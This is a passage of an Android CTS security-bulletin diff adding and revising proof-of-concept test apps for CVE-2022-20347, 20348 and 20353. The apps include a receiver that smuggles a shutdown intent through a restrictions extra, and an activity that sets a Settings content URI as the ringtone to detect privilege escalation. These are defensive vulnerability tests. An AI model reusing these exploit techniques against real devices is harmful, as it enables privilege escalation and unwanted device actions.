intent.setData(Uri.parse(context.getString(R.string.uriData))); + static ComponentName getShutdownDefaultComponent(Context context) { + Intent intent = new Intent(Intent.ACTION_REQUEST_SHUTDOWN); return intent.resolveActivity(context.getPackageManager()); } @@ -36,14 +35,14 @@ public class PocBroadcastReceiver extends BroadcastReceiver { public void onReceive(Context context, Intent intent) { try { Bundle result = new Bundle(); - Intent dialIntent = new Intent(); - dialIntent.setComponent(getPrivilegeCallDefaultComponent(context)); - dialIntent.setPackage(context.getPackageName()); - dialIntent.setData(Uri.parse(context.getString(R.string.uriData))); - dialIntent.setAction(Intent.ACTION_CALL_PRIVILEGED); - result.putParcelable(Intent.EXTRA_RESTRICTIONS_INTENT, dialIntent); + Intent shutDownIntent = new Intent(); + shutDownIntent.setComponent(getShutdownDefaultComponent(context)); + shutDownIntent.setPackage(context.getPackageName()); + shutDownIntent.setAction(Intent.ACTION_REQUEST_SHUTDOWN); + shutDownIntent.putExtra(Intent.EXTRA_KEY_CONFIRM, true); + shutDownIntent.putExtra(Intent.EXTRA_USER_REQUESTED_SHUTDOWN, true); + result.putParcelable(Intent.EXTRA_RESTRICTIONS_INTENT, shutDownIntent); setResultExtras(result); - return; } catch (Exception e) { SharedPreferences sh = context.getSharedPreferences( context.getString(R.string.sharedPreferences), Context.MODE_PRIVATE); diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/DeviceTest.java index 52f43c5d979..ec61aa1fdf6 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/DeviceTest.java +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/DeviceTest.java @@ -63,25 +63,20 @@ public class DeviceTest { return mContext.getResources().getInteger(resId); } + void switchBluetoothMode(String action) { + Intent intent = new Intent(mContext, PocActivity.class); + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + intent.putExtra(mContext.getString(R.string.btAction), action); + mContext.startActivity(intent); + } + @Test public void testBluetoothDiscoverable() { OnSharedPreferenceChangeListener sharedPrefListener; SharedPreferences sharedPrefs; boolean btState = false; try { - BluetoothAdapter btAdapter = BluetoothAdapter.getDefaultAdapter(); - - // Save the state of bluetooth adapter to reset after the test - btState = btAdapter.isEnabled(); - - // If bluetooth is disabled, enable it and wait for start activity to complete mContext = InstrumentationRegistry.getInstrumentation().getContext(); - Intent intent = new Intent(mContext, PocActivity.class); - intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); - intent.putExtra(mContext.getString(R.string.btAction), - BluetoothAdapter.ACTION_REQUEST_ENABLE); - mContext.startActivity(intent); - Resources resources = mContext.getResources(); sharedPrefs = mContext.getSharedPreferences( resources.getString(R.string.sharedPreferences), Context.MODE_APPEND); @@ -96,6 +91,25 @@ public class DeviceTest { } }; sharedPrefs.registerOnSharedPreferenceChangeListener(sharedPrefListener); + BluetoothAdapter btAdapter = BluetoothAdapter.getDefaultAdapter(); + + // Save the state of bluetooth adapter to reset after the test + btState = btAdapter.isEnabled(); + + // Disable bluetooth if already enabled in 'SCAN_MODE_CONNECTABLE_DISCOVERABLE' mode + if (btAdapter.getScanMode() == btAdapter.SCAN_MODE_CONNECTABLE_DISCOVERABLE) { + switchBluetoothMode(BluetoothAdapter.ACTION_REQUEST_DISABLE); + assumeTrue(mPreferenceChanged.tryAcquire(getInteger(R.integer.timeoutMs), + TimeUnit.MILLISECONDS)); + int result = sharedPrefs.getInt(resources.getString(R.string.resultKey), + resources.getInteger(R.integer.assumptionFailure)); + String message = sharedPrefs.getString(resources.getString(R.string.messageKey), + resources.getString(R.string.defaultSemaphoreMsg)); + assumeTrue(message, result != resources.getInteger(R.integer.assumptionFailure)); + } + + // Enable bluetooth if in disabled state + switchBluetoothMode(BluetoothAdapter.ACTION_REQUEST_ENABLE); assumeTrue(mPreferenceChanged.tryAcquire(getInteger(R.integer.timeoutMs), TimeUnit.MILLISECONDS)); int result = sharedPrefs.getInt(resources.getString(R.string.resultKey), @@ -107,6 +121,9 @@ public class DeviceTest { // Checking if bluetooth is enabled. The test requires bluetooth to be enabled assumeTrue(btAdapter.isEnabled()); + // Checking if bluetooth mode is not set to SCAN_MODE_CONNECTABLE_DISCOVERABLE + assumeTrue(btAdapter.getScanMode() != btAdapter.SCAN_MODE_CONNECTABLE_DISCOVERABLE); + // Launch bluetooth settings which is supposed to set scan mode to // SCAN_MODE_CONNECTABLE_DISCOVERABLE if vulnerability is present UiAutomation uiautomation = @@ -114,7 +131,7 @@ public class DeviceTest { uiautomation .adoptShellPermissionIdentity(android.Manifest.permission.MODIFY_PHONE_STATE); String settingsPkg = getSettingsPkgName(); - intent = new Intent(); + Intent intent = new Intent(); intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); intent.setData(Uri.parse(mContext.getString(R.string.uri))); intent.setClassName(settingsPkg, settingsPkg + mContext.getString(R.string.className)); @@ -135,11 +152,7 @@ public class DeviceTest { try { // Disable bluetooth if it was OFF before the test if (!btState) { - Intent intent = new Intent(mContext, PocActivity.class); - intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); - intent.putExtra(mContext.getString(R.string.btAction), - BluetoothAdapter.ACTION_REQUEST_DISABLE); - mContext.startActivity(intent); + switchBluetoothMode(BluetoothAdapter.ACTION_REQUEST_DISABLE); assumeTrue(mPreferenceChanged.tryAcquire(getInteger(R.integer.timeoutMs), TimeUnit.MILLISECONDS)); } diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/Android.bp new file mode 100644 index 00000000000..b07e9f27603 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/Android.bp @@ -0,0 +1,39 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +android_test_helper_app { + name: "CVE-2022-20348", + defaults: [ + "cts_support_defaults", + ], + srcs: [ + "src/**/*.java", + ], + test_suites: [ + "sts", + ], + static_libs: [ + "androidx.test.core", + "androidx.test.rules", + "androidx.test.uiautomator_uiautomator", + ], + sdk_version: "current", +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/AndroidManifest.xml new file mode 100644 index 00000000000..ec6a7752482 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/AndroidManifest.xml @@ -0,0 +1,35 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + package="android.security.cts.CVE_2022_20348" + android:versionCode="1" + android:versionName="1.0"> + <application> + <receiver android:name=".PocDeviceAdminReceiver" + android:permission="android.permission.BIND_DEVICE_ADMIN" + android:exported="true"> + <meta-data android:name="android.app.device_admin" + android:resource="@xml/device_policies" /> + <intent-filter> + <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" /> + </intent-filter> + </receiver> + </application> + + <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner" + android:targetPackage="android.security.cts.CVE_2022_20348" /> +</manifest> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/res/values/strings.xml new file mode 100644 index 00000000000..e79968d7bb8 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/res/values/strings.xml @@ -0,0 +1,26 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> +<resources> + <string name="wifiScanningPattern">.*wi.fi scanning.*</string> + <string name="wifiScanningTimedOut">Timed out waiting on the text \'Wi-fi scanning\' to appear + </string> + <string name="failMsg">Device is vulnerable to b/228315529 !!</string> + <string name="locationIntentAction">android.settings.LOCATION_SCANNING_SETTINGS</string> + <string name="resWifiScanning">android:id/title</string> + <string name="setUserRestrictionFailed">Failed to set user restriction + UserManager.DISALLOW_CONFIG_LOCATION</string> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/res/xml/device_policies.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/res/xml/device_policies.xml new file mode 100644 index 00000000000..65ce601d65f --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/res/xml/device_policies.xml @@ -0,0 +1,20 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> +<device-admin xmlns:android="http://schemas.android.com/apk/res/android"> + <uses-policies> + </uses-policies> +</device-admin> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/src/android/security/cts/CVE_2022_20348/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/src/android/security/cts/CVE_2022_20348/DeviceTest.java new file mode 100644 index 00000000000..9cdb35d6704 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/src/android/security/cts/CVE_2022_20348/DeviceTest.java @@ -0,0 +1,115 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2022_20348; + +import static androidx.test.core.app.ApplicationProvider.getApplicationContext; +import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; + +import static org.junit.Assert.assertFalse; +import static org.junit.Assume.assumeNoException; +import static org.junit.Assume.assumeTrue; + +import android.app.admin.DevicePolicyManager; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.UserManager; + +import androidx.test.runner.AndroidJUnit4; +import androidx.test.uiautomator.By; +import androidx.test.uiautomator.UiDevice; +import androidx.test.uiautomator.UiObject2; +import androidx.test.uiautomator.Until; + +import org.junit.After; +import org.junit.Test; +import org.junit.runner.RunWith; + +import java.util.regex.Pattern; + +@RunWith(AndroidJUnit4.class) +public class DeviceTest { + Context mContext; + UiDevice mDevice; + DevicePolicyManager mDevicePolicyManager; + ComponentName mComponentName; + static final String USER_RESTRICTION = UserManager.DISALLOW_CONFIG_LOCATION; + static final int UI_TIMEOUT_MS = 5000; + + String getStringRes(int key) { + return mContext.getResources().getString(key); + } + + int getIntegerRes(int key) { + return mContext.getResources().getInteger(key); + } + + @After + public void tearDown() { + try { + /* Return to home screen after test */ + mDevice.pressHome(); + + /* + * Clear user restriction "DISALLOW_CONFIG_LOCATION" set by the test and also clear the + * app as device owner. + */ + mDevicePolicyManager.clearUserRestriction(mComponentName, USER_RESTRICTION); + mDevicePolicyManager.clearDeviceOwnerApp(mContext.getPackageName()); + } catch (Exception e) { + // ignore the exception as the test is already complete + } + } + + @Test + public void testWifiScanningDisallowed() { + try { + mDevice = UiDevice.getInstance(getInstrumentation()); + mContext = getApplicationContext(); + mDevicePolicyManager = mContext.getSystemService(DevicePolicyManager.class); + mComponentName = new ComponentName(PocDeviceAdminReceiver.class.getPackage().getName(), + PocDeviceAdminReceiver.class.getName()); + mDevicePolicyManager.addUserRestriction(mComponentName, USER_RESTRICTION); + UserManager userManager = mContext.getSystemService(UserManager.class); + assumeTrue(getStringRes(R.string.setUserRestrictionFailed), + userManager.getUserRestrictions().getBoolean(USER_RESTRICTION)); + + /* Start the window that contains option to toggle "Wi-Fi scanning" on/off */ + Intent intent = new Intent(getStringRes(R.string.locationIntentAction)); + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + mContext.startActivity(intent); + + /* Wait for the window that contains option to toggle "Wi-Fi scanning" */ + Pattern wifiScanningPattern = Pattern + .compile(getStringRes(R.string.wifiScanningPattern), Pattern.CASE_INSENSITIVE); + boolean wifiScanningFound = mDevice.wait(Until.hasObject( + By.text(wifiScanningPattern).res(getStringRes(R.string.resWifiScanning))), + UI_TIMEOUT_MS); + assumeTrue(getStringRes(R.string.wifiScanningTimedOut), wifiScanningFound); + + /* + * Check if the toggle "Wi-Fi scanning" is enabled, it is supposed to be disabled by + * the Device Admin in presence of fix + */ + UiObject2 wifiScanningToggle = mDevice.findObject( + By.text(wifiScanningPattern).res(getStringRes(R.string.resWifiScanning))); + assertFalse(getStringRes(R.string.failMsg), wifiScanningToggle.isEnabled()); + } catch (Exception e) { + assumeNoException(e); + } + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/src/android/security/cts/CVE_2022_20348/PocDeviceAdminReceiver.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/src/android/security/cts/CVE_2022_20348/PocDeviceAdminReceiver.java new file mode 100644 index 00000000000..129a6b52dc8 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/src/android/security/cts/CVE_2022_20348/PocDeviceAdminReceiver.java @@ -0,0 +1,22 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2022_20348; + +import android.app.admin.DeviceAdminReceiver; + +public class PocDeviceAdminReceiver extends DeviceAdminReceiver { +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/Android.bp new file mode 100644 index 00000000000..37d35eb74f2 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/Android.bp @@ -0,0 +1,38 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +android_test_helper_app { + name: "CVE-2022-20353", + defaults: [ + "cts_support_defaults", + ], + srcs: [ + "src/**/*.java", + ], + test_suites: [ + "sts", + ], + static_libs: [ + "androidx.test.core", + "androidx.test.rules", + "androidx.test.uiautomator_uiautomator", + ], + sdk_version: "current", +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/AndroidManifest.xml new file mode 100644 index 00000000000..d4129ac8823 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/AndroidManifest.xml @@ -0,0 +1,35 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + package="android.security.cts.CVE_2022_20353"> + <application + android:label="@string/appName" + android:supportsRtl="true"> + <activity + android:name=".PocActivity" + android:exported="true"> + <intent-filter> + <action android:name="android.intent.action.RINGTONE_PICKER" /> + <category android:name="android.intent.category.DEFAULT" /> + </intent-filter> + </activity> + </application> + <instrumentation + android:name="androidx.test.runner.AndroidJUnitRunner" + android:targetPackage="android.security.cts.CVE_2022_20353" /> +</manifest> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/res/values/integers.xml new file mode 100644 index 00000000000..3207c29a0bd --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/res/values/integers.xml @@ -0,0 +1,22 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<resources> + <integer name="assumptionFailure">-1</integer> + <integer name="success">0</integer> + <integer name="timeoutMs">20000</integer> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/res/values/strings.xml new file mode 100644 index 00000000000..27e87f65446 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/res/values/strings.xml @@ -0,0 +1,38 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<resources> + <string name="alwaysButtonId">android:id/button_always</string> + <string name="appName">CVE-2022-20353</string> + <string name="defaultSemaphoreMsg">Could not get message key in shared preferences</string> + <string name="failureMessage"> + Device is vulnerable to b/221041256!! Privilege escalation possible in + com.android.settings.DefaultRingtonePreference + </string> + <string name="fileName">NOTICE.html</string> + <string name="getRingtoneCmd">settings get system ringtone</string> + <string name="messageKey">message</string> + <string name="noticeUri"> + content://com.android.settings.files/my_cache/NOTICE.html + </string> + <string name="resType">string</string> + <string name="resultKey">result</string> + <string name="setRingtoneCmd">settings put system ringtone</string> + <string name="sharedPreferences">sharedPreferences</string> + <string name="textResId">ringtone_title</string> + <string name="uiObjectNotFoundMsg">Unable to find UiObject with %1$s text/id</string> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/src/android/security/cts/CVE_2022_20353/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/src/android/security/cts/CVE_2022_20353/DeviceTest.java new file mode 100644 index 00000000000..af1f9782ab0 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/src/android/security/cts/CVE_2022_20353/DeviceTest.java @@ -0,0 +1,151 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2022_20353; + +import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; +import static org.junit.Assert.assertFalse; +import static org.junit.Assume.assumeNoException; +import static org.junit.Assume.assumeTrue; + +import android.content.Context; +import android.content.Intent; +import android.content.SharedPreferences; +import android.content.SharedPreferences.OnSharedPreferenceChangeListener; +import android.content.res.Resources; +import android.provider.Settings; + +import androidx.test.runner.AndroidJUnit4; +import androidx.test.uiautomator.By; +import androidx.test.uiautomator.BySelector; +import androidx.test.uiautomator.UiDevice; +import androidx.test.uiautomator.UiScrollable; +import androidx.test.uiautomator.UiSelector; +import androidx.test.uiautomator.Until; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import java.util.concurrent.Semaphore; +import java.util.concurrent.TimeUnit; + +@RunWith(AndroidJUnit4.class) +public class DeviceTest { + Resources mResources; + UiDevice mDevice; + Context mContext; + + // Wait for UiObject to appear and click on the UiObject if it is visible + private boolean clickUiObject(BySelector selector) { + boolean objectFound = + mDevice.wait(Until.hasObject(selector), mResources.getInteger(R.integer.timeoutMs)); + if (objectFound) { + mDevice.findObject(selector).click(); + } + return objectFound; + } + + @Test + public void testDefaultRingtonePreference() { + String defaultRingtone = null; + try { + mDevice = UiDevice.getInstance(getInstrumentation()); + mContext = getInstrumentation().getContext(); + mResources = mContext.getResources(); + defaultRingtone = + mDevice.executeShellCommand(mContext.getString(R.string.getRingtoneCmd)); + + Intent intent = new Intent(Settings.ACTION_SOUND_SETTINGS); + intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + mContext.startActivity(intent); + + String settingsPackageName = + intent.resolveActivity(mContext.getPackageManager()).getPackageName(); + Context settingsContext = mContext.createPackageContext(settingsPackageName, + Context.CONTEXT_IGNORE_SECURITY); + Resources res = settingsContext.getPackageManager() + .getResourcesForApplication(settingsPackageName); + String text = settingsContext + .getString(res.getIdentifier(mContext.getString(R.string.textResId), + mContext.getString(R.string.resType), settingsPackageName)); + // scroll until text 'Phone ringtone' is visible + UiScrollable uiScrollable = new UiScrollable(new UiSelector().scrollable(true)); + uiScrollable.scrollTextIntoView(text); + // click on 'Phone ringtone' + BySelector selector = By.text(text); + assumeTrue(mContext.getString(R.string.uiObjectNotFoundMsg, text), + clickUiObject(selector)); + // select CTS PoC app + text = mContext.getString(R.string.appName); + selector = By.text(text); + assumeTrue(mContext.getString(R.string.uiObjectNotFoundMsg, text), + clickUiObject(selector)); + // select 'Always' + String resId = mContext.getString(R.string.alwaysButtonId); + selector = By.res(resId); + assumeTrue(mContext.getString(R.string.uiObjectNotFoundMsg, resId), + clickUiObject(selector)); + + SharedPreferences sharedPrefs = mContext.getSharedPreferences( + mContext.getString(R.string.sharedPreferences), Context.MODE_APPEND); + Semaphore preferenceChanged = new Semaphore(0); + OnSharedPreferenceChangeListener sharedPrefListener = + new OnSharedPreferenceChangeListener() { + @Override + public void onSharedPreferenceChanged(SharedPreferences sharedPreferences, + String key) { + if (key.equals(mContext.getString(R.string.resultKey))) { + preferenceChanged.release(); + } + } + }; + sharedPrefs.registerOnSharedPreferenceChangeListener(sharedPrefListener); + // wait for PocActivity to complete + assumeTrue(preferenceChanged.tryAcquire(mResources.getInteger(R.integer.timeoutMs), + TimeUnit.MILLISECONDS)); + int result = sharedPrefs.getInt(mContext.getString(R.string.resultKey), + mResources.getInteger(R.integer.assumptionFailure)); + String message = sharedPrefs.getString(mContext.getString(R.string.messageKey), + mContext.getString(R.string.defaultSemaphoreMsg)); + assumeTrue(message, result != mResources.getInteger(R.integer.assumptionFailure)); + + String ringtoneUri = ""; + boolean isVulnerable = false; + long startTime = System.currentTimeMillis(); + while ((System.currentTimeMillis() - startTime) < mResources + .getInteger(R.integer.timeoutMs)) { + ringtoneUri = + mDevice.executeShellCommand(mContext.getString(R.string.getRingtoneCmd)); + if (ringtoneUri.contains(mContext.getString(R.string.fileName))) { + isVulnerable = true; + break; + } + } + assertFalse(mContext.getString(R.string.failureMessage), isVulnerable); + } catch (Exception e) { + assumeNoException(e); + } finally { + try { + // reset ringtone to default (other than 'null') present before test + mDevice.executeShellCommand( + mContext.getString(R.string.setRingtoneCmd) + " " + defaultRingtone); + mDevice.pressHome(); + } catch (Exception e) { + // ignore exception here + } + } + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/src/android/security/cts/CVE_2022_20353/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/src/android/security/cts/CVE_2022_20353/PocActivity.java new file mode 100644 index 00000000000..977e647d2e2 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/src/android/security/cts/CVE_2022_20353/PocActivity.java @@ -0,0 +1,62 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2022_20353; + +import android.app.Activity; +import android.content.Context; +import android.content.Intent; +import android.content.SharedPreferences; +import android.media.RingtoneManager; +import android.net.Uri; +import android.os.Bundle; + +/* PocActivity is required in this test since it is required that CTS PoC app is selected when */ +/* choosing an app for setting default ringtone. RingtonePicker appears due to actions done in */ +/* DeviceTest. */ +public class PocActivity extends Activity { + + @Override + protected void onCreate(Bundle savedInstanceState) { + try { + super.onCreate(savedInstanceState); + Intent intent = new Intent(); + /* set NOTICE.html file uri as EXTRA_RINGTONE_PICKED_URI which sets NOTICE.html as */ + /* default ringtone if vulnerability is present */ + intent.putExtra(RingtoneManager.EXTRA_RINGTONE_PICKED_URI, + Uri.parse(getString(R.string.noticeUri))); + setResult(Activity.RESULT_OK, intent); + finish(); + sendTestResult(getResources().getInteger(R.integer.success), ""); + } catch (Exception e) { + sendTestResult(getResources().getInteger(R.integer.assumptionFailure), e.getMessage()); + } + } + + void sendTestResult(int result, String message) { + try { + SharedPreferences sh = getSharedPreferences(getString(R.string.sharedPreferences), + Context.MODE_PRIVATE); + SharedPreferences.Editor edit = sh.edit(); + edit.putInt(getString(R.string.resultKey), result); + edit.putString(getString(R.string.messageKey), message); + edit.commit(); + } catch (Exception e) { + // ignore exception here + } + } + +} diff --git a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java index 8d5df1bb754..1edc04144ed 100644 --- a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java +++ b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java @@ -884,7 +884,7 @@ public class StagedInstallTest { @Test public void testFailStagingMultipleSessionsIfNoCheckPoint() throws Exception { stageSingleApk(TestApp.A1).assertSuccessful(); - int sessionId = stageSingleApk(TestApp.B1).assertSuccessful().getSessionId(); + int sessionId = stageSingleApk(TestApp.B1).assertFailure().getSessionId(); PackageInstaller.SessionInfo info = getSessionInfo(sessionId); assertThat(info).isStagedSessionFailed(); assertThat(info.getStagedSessionErrorMessage()).contains( diff --git a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java index e98eeda39c9..73ceea1b960 100644 --- a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java +++ b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java @@ -536,6 +536,9 @@ public class StagedInstallTest extends BaseHostJUnit4Test { @Test public void testFailOverlappingMultipleStagedInstall_BothSinglePackage_Apk() throws Exception { + assumeTrue("Device does not support file-system checkpoint", + mHostUtils.isCheckpointSupported()); + runPhase("testFailOverlappingMultipleStagedInstall_BothSinglePackage_Apk"); } diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/appops/AppOpsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/appops/AppOpsTests.java index c7feda651c3..f07f9d34e64 100644 --- a/hostsidetests/statsdatom/src/android/cts/statsdatom/appops/AppOpsTests.java +++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/appops/AppOpsTests.java @@ -61,12 +61,13 @@ public class AppOpsTests extends DeviceTestCase implements IBuildReceiver { protected void setUp() throws 